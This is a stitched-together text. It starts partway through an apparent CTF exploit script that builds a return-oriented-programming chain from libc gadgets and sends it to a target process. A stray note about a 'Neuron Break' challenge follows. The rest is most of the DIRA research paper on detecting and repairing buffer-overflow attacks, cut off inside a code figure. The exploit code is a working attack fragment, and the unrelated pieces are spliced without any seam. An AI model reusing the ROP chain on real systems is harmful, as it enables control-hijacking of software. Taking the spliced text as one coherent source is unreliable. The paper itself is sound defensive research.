leadidx = 0x00000000000a815f +libc_base#: mov qword ptr [rdi], rdx ; ret
rop+= p64(pop_rsi)
rop+= p64(0x61af00-0x70)#W[(j << 6) + k]
rop+= p64(leasi)
leadiax = 0x00000000000586ea +libc_base#: mov qword ptr [rdi], rax ; mov rax,
rdi ; ret
leadxax = 0x000000000003093c +libc_base#: mov qword ptr [rdx], rax ; ret
#####0x61af20
rop+= p64(pop_rax)
rop+= p64(0x61af20)
rop+= p64(lea_rax)
rop+= p64(leasiax)
rop+= p64(ret)
#rop+= p64(movaxbx)
#rop+= p64(0)
#rop+= p64(leasiax)
#rop+= p64(ret)
#rop+= p64(ret)
#W[k + (j << 6)] = W[(i << 6) + k] + W[(j << 6) + i];
##J1
rop+= p64(pop_rax)
rop+= p64(0x61af70)
rop+= p64(lea_rax)
rop+= p64(pop_rcx)
rop+= p64(1608)
rop+= p64(addraxrcx)
rop+= p64(pop_rdi)
rop+= p64(mov_rdi_rsp_call_rdx)
rop+= p64(leaaxdi)
rop+= p64(pop_rax)
rop+= p64(0x61af70)
rop+= p64(lea_rax)
rop+= p64(pop_rcx)
rop+= p64(1648)
rop+= p64(addraxrcx)
rop+= p64(pop_rdi)
rop+= p64(movr8rax)
rop+= p64(leaaxdi)
rop+= p64(pop_r12)
rop+= p64(pop_r15)
rop+= p64(pop_rdx)
rop+= p64(pop_r15)
rop+= p64(mov_rdi_rsp_call_rdx)#1832->1896->1920
tmp6 = rop
print "tmp6"
print len(tmp6)-len(tmp1)+24
# <-rsp
rop+= p64(pop_rax)
rop+= p64(0x602060)#k
rop+= p64(lea_rax)#N
rop+= p64(pop_rcx)
rop+= p64(1)
rop+= p64(subaxcx)
rop+= p64(pop_rdx)
rop+= p64(0x602060)#k
rop+= p64(leardx)
rop+= p64(pop_rdx)
rop+= p64(pop_rdx)
rop+= p64(pop_rbx)
rop+= p64(0)
rop+= p64(cmpaxbx)
rop+= p64(0)
rop+= p64(sete)
rop+= p64(movdxax)
rop+= p64(pop_rax)
rop+= p64(ret)
rop+= p64(movbxdx)
rop+= p64(salbl)
rop+= p64(salbl)
rop+= p64(salbl)
rop+= p64(salbl)
rop+= p64(salbl)
rop+= p64(salbl)
rop+= p64(salbl)
rop+= p64(movaxbx)
rop+= p64(0)
rop+= p64(pop_rcx)
rop+= p64((36+19)*8)
rop+= p64(addraxrcx)
rop+= p64(addraxrdi)
rop+= p64(movr8rax)#2096->2168->2192
tmp7 = rop
print "tmp7"
print len(tmp7)-len(tmp1)+24
rop+= p64(pop_rax)
rop+= p64(0x61af70)
rop+= p64(lea_rax)
rop+= p64(pop_rcx)
rop+= p64(2192)
rop+= p64(addraxrcx)
rop+= p64(pop_rdi)
rop+= p64(movr8rax)
rop+= p64(leaaxdi)
rop+= p64(pop_rax)
rop+= p64(0x61af70)
rop+= p64(lea_rax)
rop+= p64(pop_rcx)
rop+= p64(1920)
rop+= p64(addraxrcx)
rop+= p64(pop_rdi)
rop+= p64(mov_rdi_rsp_call_rdx)
rop+= p64(leaaxdi)
rop+= p64(pop_rdx)
rop+= p64(ret)
rop+= p64(movrspr8)
#---loop1
rop+= p64(pop_rax)#<-28
rop+= p64(0x61af70)
rop+= p64(lea_rax)#N
rop+= p64(pop_rcx)
rop+= p64(32-8)
rop+= p64(addraxrcx)
rop+= p64(movr8rax)#2320->2392->2416
tmp8 = rop
print "tmp8"
print len(tmp8)-len(tmp1)+24
rop+= p64(pop_rdx)
rop+= p64(ret)
rop+= p64(movrspr8)
rop+= p64(ret)
rop+= p64(ret)
rop+= p64(ret)
rop+= p64(ret)
rop+= p64(ret)
rop+= p64(ret)
####j2--------------------------------------------------
rop+= p64(pop_r12)
rop+= p64(pop_r15)
rop+= p64(pop_rdx)
rop+= p64(pop_r15)
rop+= p64(mov_rdi_rsp_call_rdx)#2432->2504->2528
tmp9 = rop
print "tmp9"
print len(tmp9)-len(tmp1)+24
rop+= p64(pop_rax)# <-rsp
rop+= p64(0x61afc0)#j
rop+= p64(lea_rax)#N
rop+= p64(pop_rcx)
rop+= p64(1)
rop+= p64(subaxcx)
rop+= p64(pop_rdx)
rop+= p64(0x61afc0)#j
rop+= p64(leardx)
rop+= p64(pop_rdx)
rop+= p64(pop_rdx)
rop+= p64(pop_rbx)
rop+= p64(0)
rop+= p64(cmpaxbx)
rop+= p64(0)
rop+= p64(sete)
rop+= p64(movdxax)
rop+= p64(pop_rax)
rop+= p64(ret)
rop+= p64(movbxdx)
rop+= p64(salbl)
rop+= p64(salbl)
rop+= p64(salbl)
rop+= p64(salbl)
rop+= p64(salbl)
rop+= p64(salbl)
rop+= p64(salbl)
rop+= p64(movaxbx)
rop+= p64(0)
rop+= p64(pop_rcx)
rop+= p64((36+19)*8)
rop+= p64(addraxrcx)
rop+= p64(addraxrdi)
rop+= p64(movr8rax)#2696->2776->2800
tmp10 = rop
print "tmp10"
print len(tmp10)-len(tmp1)+24
rop+= p64(pop_rax)
rop+= p64(0x61af70)
rop+= p64(lea_rax)
rop+= p64(pop_rcx)
rop+= p64(2800)
rop+= p64(addraxrcx)
rop+= p64(pop_rdi)
rop+= p64(movr8rax)
rop+= p64(leaaxdi)
rop+= p64(pop_rax)
rop+= p64(0x61af70)
rop+= p64(lea_rax)
rop+= p64(pop_rcx)
rop+= p64(2528)
rop+= p64(addraxrcx)
rop+= p64(pop_rdi)
rop+= p64(mov_rdi_rsp_call_rdx)
rop+= p64(leaaxdi)
rop+= p64(pop_rdx)
rop+= p64(ret)
rop+= p64(movrspr8)
#---loop2
rop+= p64(pop_rax)
rop+= p64(0x61afe0)
rop+= p64(lea_rax)#N
rop+= p64(pop_rdx)
rop+= p64(0x602060)#k
rop+= p64(leardx)
rop+= p64(pop_rax)
rop+= p64(0x61af70)
rop+= p64(lea_rax)
rop+= p64(pop_rcx)
rop+= p64(32-8)
rop+= p64(addraxrcx)
rop+= p64(movr8rax)#2968->3048->3072
tmp11 = rop
print "tmp11"
print len(tmp11)-len(tmp1)+24
rop+= p64(pop_rdx)
rop+= p64(ret)
rop+= p64(movrspr8)
#j3
rop+= p64(pop_r12)
rop+= p64(pop_r15)
rop+= p64(pop_rdx)
rop+= p64(pop_r15)
rop+= p64(mov_rdi_rsp_call_rdx)# 3032->3112->3136
tmp12 = rop
print "tmp12"
print len(tmp12)-len(tmp1)+24
rop+= p64(pop_rax)
rop+= p64(0x61afc8)#i
rop+= p64(lea_rax)#N
rop+= p64(pop_rcx)
rop+= p64(1)
rop+= p64(subaxcx)
rop+= p64(pop_rdx)
rop+= p64(0x61afc8)#i
rop+= p64(leardx)
rop+= p64(pop_rdx)
rop+= p64(pop_rdx)
rop+= p64(pop_rbx)
rop+= p64(0)
rop+= p64(cmpaxbx)
rop+= p64(0)
rop+= p64(sete)
rop+= p64(movdxax)
rop+= p64(pop_rax)
rop+= p64(ret)
rop+= p64(movbxdx)
rop+= p64(salbl)
rop+= p64(salbl)
rop+= p64(salbl)
rop+= p64(salbl)
rop+= p64(salbl)
rop+= p64(salbl)
rop+= p64(salbl)
rop+= p64(movaxbx)
rop+= p64(0)
rop+= p64(pop_rcx)
rop+= p64((36+19+6)*8)
rop+= p64(addraxrcx)
rop+= p64(addraxrdi)
rop+= p64(movr8rax)#3296->3384->3392->3384->3408
tmp13 = rop
print "tmp13"
print len(tmp13)-len(tmp1)+24
rop+= p64(pop_rax)
rop+= p64(0x61afe0)
rop+= p64(lea_rax)#N
rop+= p64(pop_rdx)
rop+= p64(0x602060)#k
rop+= p64(leardx)
rop+= p64(pop_rax)
rop+= p64(0x61af70)
rop+= p64(lea_rax)
rop+= p64(pop_rcx)
rop+= p64(3408)
rop+= p64(addraxrcx)
rop+= p64(pop_rdi)
rop+= p64(movr8rax)
rop+= p64(leaaxdi)
rop+= p64(pop_rax)
rop+= p64(0x61af70)
rop+= p64(lea_rax)
rop+= p64(pop_rcx)
rop+= p64(3136)
rop+= p64(addraxrcx)
rop+= p64(pop_rdi)
rop+= p64(mov_rdi_rsp_call_rdx)
rop+= p64(leaaxdi)
rop+= p64(pop_rdx)
rop+= p64(ret)
rop+= p64(movrspr8)
#---loop3
rop+= p64(pop_rax)
rop+= p64(0x61afe0)
rop+= p64(lea_rax)#N
rop+= p64(pop_rdx)
rop+= p64(0x61afc0)#j
rop+= p64(leardx)
rop+= p64(pop_rax)
rop+= p64(0x61af70)
rop+= p64(lea_rax)
rop+= p64(pop_rcx)
rop+= p64(32-8)
rop+= p64(addraxrcx)
rop+= p64(movr8rax)#3568->3656->3704->3712->3704->3728
tmp14 = rop
print "tmp14"
print len(tmp14)-len(tmp1)+24
rop+= p64(pop_rdx)
rop+= p64(ret)
rop+= p64(movrspr8)
#---fin
syscall = 0x00000000000d2975+libc_base# : syscall ; ret
rop+= p64(ret)
rop+= p64(ret)
rop+= p64(ret)
rop+= p64(ret)
rop+= p64(ret)
rop+= p64(ret)
rop+= p64(ret)
rop+= p64(ret)
rop+= p64(ret)
rop+= p64(ret)
rop+= p64(0xdeadbeef)
rop+= p64(pop_rax)
rop+= p64(60)
Neuron Break
Neuron Break http://111.186.63.205:5000/ Neuron_Break.zip http://111.186.63.17/neuron_break.
zip Not a web challenge :) https://github.com/Hyperparticle/one-pixel-attack-keras
8 lenet untargeted attack one pixel attack differential_evolution
attackMSE
rop+= p64(syscall)
###
#rop+= p64(0x4013bf)
print len(rop)
raw_input()
p.send(rop.ljust(0x10000,'\x00'))
#####
#mov_rdi_rsp_call_rdx:1304
####
p.interactive() | pdf |
DIRA: Automatic Detection, Identification, and Repair of Control-Hijacking
Attacks
Alexey Smirnov
Tzi-cker Chiueh
Computer Science Department
State University of New York at Stony Brook
Stony Brook, NY 11794-4400
{alexey, chiueh}@cs.sunysb.edu
Abstract
Buffer overflow attacks are known to be the most com-
mon type of attacks that allow attackers to hijack a re-
mote system by sending a specially crafted packet to a
vulnerable network application running on it. A compre-
hensive defense strategy against such attacks should in-
clude (1) an attack detection component that determines
the fact that a program is compromised and prevents the
attack from further propagation, (2) an attack identifica-
tion component that identifies attack packets so that one
can block such packets in the future, and (3) an attack
repair component that restores the compromised applica-
tion’s state to that before the attack and allows it to con-
tinue running normally. Over the last decade, a significant
amount of research has been vested in the systems that
can detect buffer overflow attacks either statically at com-
pile time or dynamically at run time. However, not much
effort is spent on automated attack packet identification
or attack repair. In this paper we present a unified solu-
tion to the three problems mentioned above. We imple-
mented this solution as a GCC compiler extension called
DIRA that transforms a program’s source code so that
the resulting program can automatically detect any buffer
overflow attack against it, repair the memory damage left
by the attack, and identify the actual attack packet(s). We
used DIRA to compile several network applications with
known vulnerabilities and tested DIRA’s effectiveness by
attacking the transformed programs with publicly avail-
able exploit code. The DIRA-compiled programs were
always able to detect the attacks, identify the attack pack-
ets and most often repair themselves to continue normal
execution. The average run-time performance overhead
for attack detection and attack repair/identification is 4%
and 25% respectively.
1.
Introduction
A control-hijacking attack overwrites some data struc-
tures in a victim program that affect its control flow, and
eventually hijacks the control of the program and possibly
the underlying system. A data structure that can affect the
control flow of a program is called a control-sensitive data
structure, examples of which include return address, func-
tion pointer, global offset table/import table, C++ virtual
functions table pointer, etc. Once an attacker grabs con-
trol of the victim program, she can invoke any operation
to which the victim program’s effective user is entitled.
Control-hijacking attacks are considered the most danger-
ous type of attacks because they exploit software bugs di-
rectly without requiring any user actions, and because ma-
licious computer worms use them as basic building blocks
to propagate themselves from one machine to another.
Over the last decade, a significant amount of research
has been invested in the detection of control-hijacking at-
tacks. Some are based on program analysis techniques
[38, 12, 19, 26, 32, 37] that statically determine whether
a given program contains buffer overflow vulnerability.
Others use program transformation techniques [8, 11, 10,
14, 36, 9] to convert applications into a form that can ei-
ther detect control-hijacking attacks [8, 10, 14, 9] or pre-
vent control-sensitive data structures from being modified
at run time [11]. Still others develop operating system
mechanisms that ensure that it is not possible to execute
code injected into the victim program [34, 27]. Regardless
of their approach, most if not all of these efforts could only
determine whether a program is under a control-hijacking
attack, but could not actively repair a victim program af-
ter it has been compromised. Typically, upon detecting an
attack, they simply terminate the victim application, and
restart another instance if necessary. While terminating a
compromised application helps prevent further propaga-
tion of the attack, it may lead to a denial of service at-
tack. For network applications with a substantial amount
of state such as a DNS sever, it takes some time for them
D
I
R
Stackguard [10], RAD[8]
+
-
-
Buttercup [29], Autograph [21]
-
+
-
Flashback [33], IGOR [13]
-
-
+
DIRA
+
+
+
Table 1. Previous work addressing problems
of attack (D)etection, (I)dentification, and
(R)epair.
to re-acquire the necessary state at start-up in order to pro-
vide the full service. For these applications, abrupt termi-
nation is not an acceptable attack recovery strategy. More-
over, because existing control-hijacking attack detection
systems cannot prevent the same attacks from taking place
again, vulnerable applications may be repeatedly victim-
ized and re-started in the presence of recurring attacks as
in the case of worms. In the mean time, these applications
cannot render any useful service to their intended users.
To address the limitations of existing systems that focus
only on detection of control-hijacking attacks, this project
aims to develop a program transformation system called
DIRA that can automatically transform an arbitrary appli-
cation into a form that
• Can detect a control-hijacking attack when the
control-sensitive data structure it tampers with is ac-
tivated,
• Can identify the network packets that lead to the
control-hijacking attack, and send these packets to
a front-end content filter to prevent the same attack
from compromising the application again, and
• Can repair itself by erasing all the side effects of the
attack packets as if it never received them.
To the best of our knowledge, attack detection, repair
and identification have never been considered together
previously. Table 1 puts in perspective related projects
in each of these three areas. The main contribution of
this paper is the development of a unified solution to all
three problems. Even though on the surface attack detec-
tion, identification, and recovery appear to be completely
orthogonal functions, a careful examination reveals that
they can actually be unified into a single implementation
framework that is based on memory update logging. To
repair a program’s memory state, all updates to its ad-
dress space should be logged so that these updates can
be reversed. To detect a control-hijacking attack, the be-
fore image of a control-sensitive data structure should be
stored away, and checked at the time of activation to see
if any tampering took place. To trace back the packets re-
sponsible for a detected attack, the backward slice of the
corrupted control-sensitive data structure needs to be first
computed and then intersected with the incoming packets.
DIRA takes an application’s source code, and inserts ad-
ditional logging code so that the resulting application can
detect, identify, and recover from any control-hijacking
attacks in a way that is completely independent of the un-
derlying operating system and hardware.
The rest of this paper is organized as follows. Section
2 reviews previous research on detection and prevention
methods for control-hijacking attacks, as well as on pro-
gram rollback. Section 3 describes the logging algorithms
and data structures used in the DIRA compiler. In Section
4 we discuss the implementation details of the DIRA com-
piler. Section 5 presents the performance measurements
of a fully operational DIRA prototype and their analysis.
Section 6 concludes this paper with a summary of major
research contributions and a brief outline of the on-going
work.
2.
Related Work
Our work is based upon previous work in three broad
areas of systems research: buffer overflow attacks detec-
tion, malicious code identification, and program rollback
and replay.
Approaches to detect buffer overflow attacks can be di-
vided into two groups: static techniques that detect po-
tential buffer overruns by examining program’s source
code and dynamic techniques that protect programs at run-
time. Wilander et. al. [39, 40] present a comprehensive
overview of tools of both types. Greiner [16] gives an
overview of manual code auditing techniques that help de-
tect potential vulnerabilities.
The real cause of buffer overflows is unchecked pointer
or array access. Jones and Kelly [20] and Austin et. al. [3]
propose to check each pointer access at run time to solve
this problem. This requires augmentation of the standard
pointer representation with additional fields such as the
extent of the memory region that the pointer is referring
to. Both systems are implemented as C compiler exten-
sions that instrument the source code of the program in
such a way that the modified program checks each pointer
access it performs at run-time. Purify [18] is a similar
tool that instruments program’s object code and therefore
does not require access to its source code. However, all
these tools suffer from a significant performance overhead
which can be more than 500% in some cases. CRED [31]
is a project that aims to provide a comprehensive mem-
ory access bounds checking at a reasonable cost. Unlike
other bounds checking projects, CRED checks the access
correctness for pointers to character strings only assuming
that improper string manipulation is responsible for most
buffer overflow attacks. The reported overhead of CRED
is less than 26%. Such a moderately high overhead indi-
cates a need for more lightweight and inexpensive protec-
tion mechanisms.
The return address is the most common target of buffer
overflow attacks. Stackguard [10] is a system that pro-
tects the return address by placing a canary word on the
stack before the return address. It is based on the assump-
tion that overwriting the return address requires overwrit-
ing the part of the stack immediately preceding it. If the
canary word is found modified upon the function return
then an attack has taken place. RAD [8] takes a different
approach. It copies the return address to a buffer called
the return address repository which is protected from both
sides by applying mprotect() system call. Similarly, it
compares the return address on the stack with the saved
value and raises the red flag if the two values are differ-
ent.
StackShield [36], ProPolice [11], and StackGhost
[14] are similar systems that protect other code pointers
such as function pointers and stack frame register in addi-
tion to the return address. FormatGuard [9] provides a set
of wrapper functions that protect a program from format
string attacks.
Another approach to buffer overflow prevention is pre-
sented by Baratloo et. al. [4]. They develop a dynamic
library called Libsafe that provides wrappers for common
libc functions that are prone to buffer overflows. This
library is transparently inserted at run-time between the
application being protected and libc using LD_PRELOAD
environment variable. The protection mechanism is based
on estimating the boundaries of the stack frame of the call-
ing function and assuming that no function can write be-
low that boundary.
A typical buffer overflow attack executes the injected
code on the stack.
Therefore, making stack non-
executable will prevent any stack-based attack. PaX [34]
and Openwall [27] are two Linux kernel patches that im-
plement non-executable stacks. This approach has some
limitations, however. First, attacks that inject their code
into data segment as well as return-into-libc attacks will
still work. Second, Linux signal handlers and some func-
tional languages such as LISP require the stack to be exe-
cutable.
Essentially, the problem of detecting a buffer overflow
attack relies on a mechanism to monitor a particular mem-
ory location (such as a return address). A similar problem
exists in software debugging in which case a dynamically
monitored memory location is called a watch-point. Ex-
isting solutions of this problem can be divided into run-
time dynamic checking techniques [17, 18] and hardware-
based techniques [25, 30, 41].
The problem of automatic identification of malicious
code became increasingly important in the past few years
since worms epidemics started to happen more and more
frequently and at higher speeds. Given the speed of prop-
agation of the recent worms, it is hopeless to rely on a
human-based methods for signature generation as by the
time the proper signature is created and distributed among
computer users, the worm is likely to infect a significant
number of computer systems. Autograph [21] is a system
that generates worm signatures automatically by detect-
ing common byte sequences in suspicious network flows.
In this system, a network flow is considered suspicious
if it comes from a host that is believed to perform port
scanning. Toth and Kruegel [35] propose a system that
detects malicious code in packet payloads by performing
abstract execution of the payload data. Buttercup [29] is
a system aimed at preventing polymorphic worms with
known signatures from entering the system. It identifies
the ranges of possible return addresses for existing vul-
nerabilities and checks whether a network packet contains
such addresses.
Another approach to identifying malicious code is to
analyze the execution trace of a compromised program.
Given the address of the compromised control-sensitive
data structure, one can use dynamic slicing techniques
[24, 22, 23] to find out all statements of the program that
affected the value of this data structure. This allows one to
trace back the origin of the malicious data that was written
to this data structure to the point where it first appeared in
the program. Therefore, one can completely restore the
compromising network packet or user input. Agrawal and
Horgan [2] discuss several approaches for computing dy-
namic slices and introduce the notion of a dynamic depen-
dence graph.
Finally, yet another approach to malicious input iden-
tification it to use a technique similar to Perl taint mode.
The idea is to assign different tags to all user inputs and
propagate these tags along through all memory operations.
Upon discovering a compromised data structure, one can
identify the origin of the malicious data by looking at the
tag currently associated with that memory location.
System support for rollback and reverse execution is an-
other related area of systems research. Although not re-
lated directly to post-attack recovery, these mechanisms
can be readily adapted to rollback a program to a pre-
attack state. Systems that have a rollback capability rely
on one of the following techniques: they either keep the
execution history [1] or do periodic state checkpointing
[13, 28, 33]. For example, Igor [13] is a system that saves
modified memory pages at each checkpoint. RECAP [28]
and Flashback [33] use copy-on-write fork() system call
to checkpoint their execution state. Spyder [1] is based on
the notion of execution history. During its normal execu-
tion, Spyder records the program counter and the old val-
ues of all variables that the current instruction will change.
All these systems require specific support from the under-
lying OS.
An alternative way of bringing a compromised system
to the normal state is a complete restart. Candera et. al.
[7, 6] develop the concept of micro-reboots. According to
this concept, a complex system comprised of many indi-
vidual components (such as a large Internet service) can
be efficiently repaired in case of a fault or an attack by
performing a micro reboot of a single failed component
rather than that of the whole system. If the problem cannot
be fixed by micro-rebooting then it is deferred to human
operators.
3.
Attack Detection, Identification, and Re-
pair
DIRA makes programs capable of attack detection,
identification and repair by using a combination of static
and dynamic techniques. At compile time, the DIRA com-
piler instruments the source code of a program in a num-
ber of ways. First, it inserts proper memory updates log-
ging code that allows the program to keep track of every
memory update it performs. Second, the DIRA compiler
inserts the code that checks every control-sensitive data
structure before it is used. Finally, a number of special
functions that allow the program to identify attack pack-
ets and repair itself are added to the program. At run
time, the instrumented program generates a memory up-
dates log which can be used to identify attack packets and
repair the program once an attack is detected. The logged
information is also used to check the control-sensitive data
structures at run time when they are about to be used. If a
control-sensitive data structure is found compromised, the
attack identification and repair functions are called.
The amount of logging information as well as the type
of information stored in the log depends on the mode in
which DIRA operates. There are three modes of oper-
ation: compilation to support attack detection only (D-
mode), compilation to support detection and identification
(DI-mode) and finally compilation to support detection,
identification, and repair (DIR-mode). Each successive
mode requires more information to be logged. In this sec-
tion we describe how memory update logging works and
how the logged information is used in attack detection,
identification, and repair.
3.1.
Attack Detection
Most of the control-hijacking attacks modify some
control-sensitive data structures in the victim program,
such as a return address, a function pointer, or a jump ta-
ble, through buffer overflowing. Once the compromised
data structure is used in a control transfer, the attacker hi-
jacks the control of the application.
The approach to attack detection used by
DIRA is
similar to that developed in RAD project [8]. To detect
control-hijacking attacks at run time, the DIRA compiler
maintains the original image of every control-sensitive
data structure, and at the time of control transfer compares
the current value of the associated control-sensitive data
structure with its original image to determine whether it
has been modified via buffer overflowing. Current ver-
sion of the DIRA compiler protects only return addresses
and function pointers as they are the most common attack
targets. In particular, the DIRA compiler instruments an
input program as follows:
• At the function prologue, the return address is stored
in the return address buffer. At the function epilogue,
the return address on the stack is compared with the
stored value in the return address buffer. If there is a
mismatch, the return address has been tampered with
and a control-hijacking attack is detected.
• Every time a function pointer is modified in the pro-
gram, its newest value is stored in an existing or new
entry of the function pointer buffer. This includes the
case when a function pointer is passed as an input ar-
gument into a function. There are also other ways to
modify a function pointer, for example by overwrit-
ing it using memcpy() function. The current version
of the DIRA compiler supports only simplest kind
of function pointer modification when it is updated
through a direct assignment. Each entry of the func-
tion pointer buffer contains two fields: the address of
a function pointer variable and its value. Every time
a function pointer is about to be used in a function
call, its current value is checked against the function
pointer’s stored value. The mismatch of the two val-
ues is the indication of an attack taking place.
Because the return address buffer and the function pointer
buffer are supposed to contain the ground truth, they
should be well protected such that tampering via buffer
overflowing is impossible. Otherwise, if an attacker can
overflow both a control-sensitive data structure and its as-
sociated duplicate buffer, she can defeat this attack detec-
tion method. Towards this end, both the return address
buffer and the function pointer buffer are sandwiched in-
side a pair of read-only pages. Any attempts to modify
these two buffers via overflowing will result in protection
faults. An attacker might try to compromise the system
by guessing the address of such a buffer and writing to it
directly without having to go through the protected pages.
In order to reduce significantly the likelihood of a suc-
cessful attack, such a buffer can be allocated at a random
memory location. This technique is not implemented yet
in the current version of DIRA.
In theory, the DIRA compiler can also protect jump
tables in the same way as function pointers. However,
because there have never been any real control-hijacking
attacks that tamper with jump tables, for simplicity we
chose to ignore jump table protection in the current proto-
type.
3.2.
Memory Updates Logging
The purpose of memory updates logging is to make it
possible to trace back incoming packets that are responsi-
ble for the detected attack, and to restore the victim pro-
gram back to the state before the attack packets were re-
ceived. Keeping a copy of a control-sensitive data struc-
ture for attack detection can be seen as a special form of
memory updates logging. To associate corrupted control-
sensitive data structures with incoming packets, for each
incoming packet it is necessary to compute all data vari-
ables that directly or indirectly depend on the incoming
packet. If a corrupted control-sensitive data structure is
data-dependent on an incoming packet, the packet is con-
sidered an attack packet and its contents will be used for
content filtering.
To allow a program to be rolled back to the state it
was in before receiving an attack packet, a snapshot of
the program’s state should be checkpointed every time
it receives a packet.
However, the performance over-
head of this approach is too high to be feasible. Instead,
DIRA uses a fine-grained asynchronous checkpointing ap-
proach, which logs updates only to global or static vari-
ables, and performs these logging operations in an incre-
mental fashion rather than in one batch. When choos-
ing this approach, DIRA assumes that during the inter-
val between when a control-hijacking attack is detected
and when the corresponding attack packet is received, the
program will not be able to undo any file or network I/O
operations. Therefore, memory updates logging can only
erase attack’s side effects on the memory state of the pro-
gram, but not on its file system state.
Each record of the memory update log has four fields:
read_addr, write_addr, len, and data. We will de-
scribe the meaning of each field below.
Most if not all control-hijacking attacks use one or mul-
tiple network packets to overrun a buffer in the victim pro-
gram and eventually overwrite some control-sensitive data
structures. Therefore, the content of the corrupted control-
sensitive data structure is derived from the attack packets
through a series of memory copying operations. Memory
image of a program can be changed by either the program
itself or by a library function call made by the program. To
handle the updates of the former type, DIRA logs the ef-
fects of assignment statements of the following form: X =
Y, where X and Y are directly referenced variables, array
references (e.g., a[i]) or de-referenced variables (e.g.,
*(a+1)). The read address field contains the address of
the right-hand-side variable of the assignment operation,
in this case Y’s address. The write address field holds the
address of the left-hand-side variable being modified, in
this case X’s address. The length field is the size of the
modified variable, size of X in this case. The data field is
not used when DIRA operates in DI-mode. In DIR-mode,
this field stores the pre-image of X, the variable being writ-
ten to. It is not always possible to uniquely identify the
read address, for instance if Y is a complex expression
containing a number of variables or a function call. In this
case the read address is set to “-1,” which indicates that
the data origin of this assignment is unknown.
The second source of memory image changes are stan-
dard library calls such as memcpy().
DIRA proxies
several libc functions that can change program’s mem-
ory state. Whenever a function that is proxied is called,
the corresponding proxy function also produces a mem-
ory updates log record that summarizes the side effects of
the function call. The fields of the memory updates log en-
try are set differently for different proxied functions. We
will discuss all the functions proxied by DIRA below.
Some programs provide an alternative implementation
of standard libc functions. Such functions will be com-
piled by DIRA thus providing necessary support for attack
detection, identification and repair as long as these func-
tions are written in standard C. If, however, the new libc
functions are implemented using inline assembly (for per-
formance reasons, for example), then DIRA will not be
able to instrument them.
The above memory update logging algorithm imple-
ments both state checkpointing and data dependency
tracking. Moreover, the DIRA compiler inserts logging
code for each assignment operation of the form specified
above without performing any sophisticated data or con-
trol flow analysis. As a result, the implementation com-
plexity of the DIRA compiler is greatly simplified.
To
reduce
memory
updates
logging
overhead,
DIRA tries to avoid unnecessary logging operations.
In its default mode, DIRA does not log updates of the
form X=Y if X is a local variable referenced directly. The
reason behind this is the assumption that local variables
referenced directly are usually used as temp variables (for
example, as loop variables) and do not contain any data
coming from external sources. Although in general this
approach can miss certain dependencies, it turns out that
quite often enough information is logged to identify the
malicious input.
Figure 1 shows the abbreviated source code of a simpli-
fied network service application containing a buffer over-
flow vulnerability. To ensure that omitting local updates
logging is usually harmless, let us consider the logging
operations performed by the program compiled in DIR-
mode and determine that this information is sufficient to
identify the attack packet. Function do_packet() calls
function get_packet(), which receives a packet by call-
ing recv().
This is one of the functions proxied by
DIRA. The corresponding proxy function logs the pre-
image of buf by setting the write_addr field to the
value of buf. Then the control flow goes back to function
do_packet(). The assignment of the returned value to
variable last is not logged because last is a local vari-
able referenced directly. Function process_packet()
is called next taking last as its only argument. The as-
signment of buf to packet is not logged either because
packet is also a local variable referenced directly. Next
there is a call to function strcpy() which is also proxied
by DIRA. This function copies some data from packet
into a limited-space buffer name without checking the
length of packet->name, and thus represents an attack
target. The read_addr field of the corresponding log
record is set to the address of packet->name. To summa-
rize, the memory update log contains two entries relevant
to the packet being processed. None of the intermediate
assignment operations are logged. Nevertheless, it is still
possible to identify the packet that should be held respon-
sible when an attack is detected. Indeed, variable packet
of function process_packet() contains the same ad-
dress as variable buf of function get_packet(). All in-
termediate assignments transfer the value of the pointer
that points to the buffer containing the attack packet.
Memory updates log contains additional information
when DIRA works in the DIR-mode. This mode requires
storing additional information in the log such as marks
that indicate function boundaries and potential restart
points. We call such records tags. There are several types
of tags. The tag type is stored in the field read_addr.
The remaining fields are used differently for each tag. We
will describe each tag type one by one in Section 3.4.
3.3.
Attack Identification
Upon detecting a control-hijacking attack, we assume
that the corrupted control-sensitive data structure is com-
promised by some data that might have been read from the
console by a gets() call or from a network socket by a
recv() call. In these cases, it is important to identify the
source of corruption and take proper measures to prevent
the same compromise from happening again. Of course,
it is also possible that the control-sensitive data structure
was actually overwritten due to a mistake in the program’s
internal logic. In this case, the program should be just ter-
minated since no automatic repairing can stop the same
compromise from recurring.
To identify the data item read from the network or a
file that is responsible for the corruption of a control-
sensitive data structure, we need to trace back the depen-
dency graph, starting from the corrupted control-sensitive
data structure. This tracing relies on the read address and
write address fields of the memory updates log entries.
Let MA (modified address) be the address of a corrupted
control-sensitive data structure, i.e., a return address or a
function pointer. In most cases, it was tampered with as a
result of an unchecked array-to-array copy operation such
as strcpy(). Each of such modifications leaves a record
in the memory updates log. Therefore, the tracing begins
with the most recent memory updates log entry whose
write address is equal to MA, and uses the read address
field of this entry as a key to search the memory updates
log to find the most recent log entry whose write address
matches it, etc. This process continues iteratively until
reaching a memory updates log entry whose read address
is set to one of the special values described below, which
means that the data written to the write address of that en-
try comes from an external source. The above trace-back
algorithm is formally described in Figure 2.
To support attack identification, the following classes
of
libc
functions
need
to
be
“proxied”:
copy-
ing/concatenation functions such as strcpy(), network
I/O functions such as recv(), file I/O functions such as
read() (which can also read data from network), and
format string functions such as sprintf(). The com-
plete list of functions proxied by DIRA including those
required for post-attack recovery only is presented in Ta-
ble 2.
Copying/concatenation Functions. Each proxy func-
tion from this group generates a log record. For instance,
a log record for a strcpy(a, b) function call contains
the address of b in its read_addr field, the address of
a in its write_addr field, strlen(b) in its len field.
The data field is set to NULL as no data is required for
the traceback algorithm. After generating a log record the
proxy function calls the corresponding libc function and
returns its result.
Network I/O and File I/O Functions. These proxy
functions also generate one log record each time they are
called. The read_addr field of these records is set to a
special value indicating the external source of the data be-
ing logged. In addition, they make use of data field of the
log record. This field stores the post-image of the mem-
ory buffer, that is, the data that was actually read from the
network or a file. This data is the malicious network or
file data that can lead to a buffer overflow attack. It is pre-
sented as the result of the traceback algorithm if a buffer
overflow attack is detected. This data can be sent to a
front-end intrusion-detection system, which can then use
it to prevent the same attack from reaching internal hosts
again. This automatic attack packets extraction capabil-
ity protects an enterprise from worm-like attacks, where
attacking or compromised hosts tend to send out attack
packets that are largely the same.
void do_packet() {
packet_t *get_packet() {
void process_packet(char *buf) {
packet_t *last;
char *buf=malloc(PACKSZ);
char name[10];
last=get_packet();
recv(sock, buf, PACKSZ, 0);
packet_t *packet;
process_packet(last);
return buf;
packet=(packet_t*)buf;
}
}
strcpy(name, packet->name);
}
Figure 1. An example of a program vulnerable to a buffer overflow attack.
cur_addr=MA;
while (more_log_entries && cur_addr̸=0)
